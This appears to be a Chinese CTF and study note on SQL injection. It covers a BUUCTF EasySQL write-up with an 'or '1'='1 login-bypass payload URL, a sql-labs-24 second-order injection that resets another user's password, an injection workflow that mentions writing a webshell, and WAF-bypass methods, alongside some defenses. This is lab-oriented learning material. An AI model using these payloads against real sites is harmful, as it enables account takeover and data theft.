ALTER TABLE table_name MODIFY COLUMN column_name datatype
Oracle 10G 之后版本:
ALTER TABLE table_name MODIFY column_name datatype;
flag{f28974b4-511c-4c6c-9c76-296efebc02e4}
万能密码
记录一道题的解法,是[极客大挑战 2019]EasySQL的题目,
登录后发现是get型传递参数,加单引号报错,可以看到是字符型,这里使用了一种万能密码
http://f8759e96-bef7-4955-bd4e-371420693b66.node3.buuoj.cn/check.php?username=admin'or '1'='1&password=admin'or '1'='1
首先使用一个单引号使用户名闭合,这时会判断我们的用户名是错的,然后执行or后面的语句,’1’=’1’成立,密码也这样,就能够登录了。
最后简单记录一下sql注入防御手段,
- 代码层
- 黑名单(某些字符进入黑名单)
- 白名单(比黑名单好)
- 敏感字符过滤
- 使用框架安全查询
- 规范输出
- 配置层
- 开启GPC
- 使用UTF-8
- 物理层
- WAF
- 数据库审计
- 云防护
- IPS(入侵防御系统)
小结一下,这些都只是最最基础的,在实际的题目中会有很多的骚操作,比如过滤掉逗号,过滤掉括号,需要大量的经验和骚操作,所以任重道远,需要未来更多的实践和学习,这些是人学的东西,又多又杂,淦比如过滤了逗号我们使用括号吧要用的括起来。
SQL注入进阶
上述描述了部分实际使用中的sql注入的方法,现在记录进行完整的sql注入的流程和其中需要注意的地方。
可以将sql注入分为三个步骤:信息收集,数据获取,提权。
- 信息搜集:
- 数据库类型
- 通过报错等可以找到
- 数据库版本
- version(),@@version,v$version
- 数据库用户
- user(),SYSTEM_USER
- 数据库权限
- super_priv,IS_SRVROLEMEMBER
- 数据库类型
- 获取信息
- 获取库信息
- 获取表信息
- 获取列信息
- 获取数据
- 通过语句查询,或者暴力破解(access通过暴力破解来判断有哪些表)
- 提权
- 执行命令(比如SQLServer sa权限)
- 读文件(读中间配置文件,读数据库配置文件)
- 写文件(写webshell到网站目录
二次注入
二次注入的原理是:虽然开发者对sql语句进行了过滤,比如在查询时,将id=1'
中单单引号进行转译,转化成了id=1\'
进行执行,如果将其这个数据存储到数据库中却是存储的原来的数据即id=1'
,开发者如果将已经在数据库中单信息视作安全,在后续调用该参数的时候没有再进行过滤转译,导致在读取时造成了注入,这就是二次注入点原理,这里以sql-labs-24为例做一个演示
这一关的想法是通过二次注入来修改正常用户的密码,在开始时会进行用户注册,注册成功后登录该用户会要求该用户修改密码:
首先注册一个test用户,密码test
再注册一个test’ #用户,密码为123:
注意,此时sql语句中username被转义,是test\‘ #,但保存到数据库中的username却是test' #
登录test' #修改密码为aaa
在数据库中可以看到
可以看到,密码被修改的是用户test而不是test' #,这样我们就完成了对test用户账号的窃取
看一下修改密码的源代码:
可以看见,在进行update时并没有进行过滤以及转义。
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
语句中$username现在是test’ #,则现在的语句为:
$sql = "UPDATE users SET PASSWORD='$pass' where username='test' #'and password='$curr_pass' ";
#有效语句为:
$sql = "UPDATE users SET PASSWORD='$pass' where username='test'
这里直接就会将test用户的密码进行更改,实现了二次注入
- 防御:在对sql语句进行过滤以及转义时,除了要小心各个普通的查询和注入点,已经存入数据库的数据在进行取用时也需要进行过滤以及转义,防止二次注入的产生。
waf的绕过
对于sql注入来说,在进行真实的渗透测试时,遇见waf才是绝大多数情况。如何绕过waf是我们需要进行掌握和熟练的。
从大的方面来说,在进行黑盒测试有如下的绕过原理:
- 架构层绕过WAF
- 寻找源站→针对云WAF
- 利用同网断→绕过WAF防护区域
- 利用边界漏洞→绕过WAF防护区域
- 利用边界漏洞→绕过WAF防护区域
- POST大BODY协议层面绕过WAF的检测
- 协议未覆盖绕过waf
- 请求方式变换:GET→POST Content-Typesta:application/x-www-form-urlencoded;multipart/form-data;
- 参数污染
- 规则层面的绕过(主要的绕过方式)(以sql注入为例)
在知道原理后该如何进行绕过呢?那就是通过fuzz进行绕过,fuzz,模糊测试,在这里简单来说就是对于这些可能成功的绕过方法进行自动化或者半自动化的测试,例如:
对于空白字符进行的过滤通过脚本或者burp等工具进行不断的测试,直到绕过,接下来在遇到新的防护规则时又继续fuzz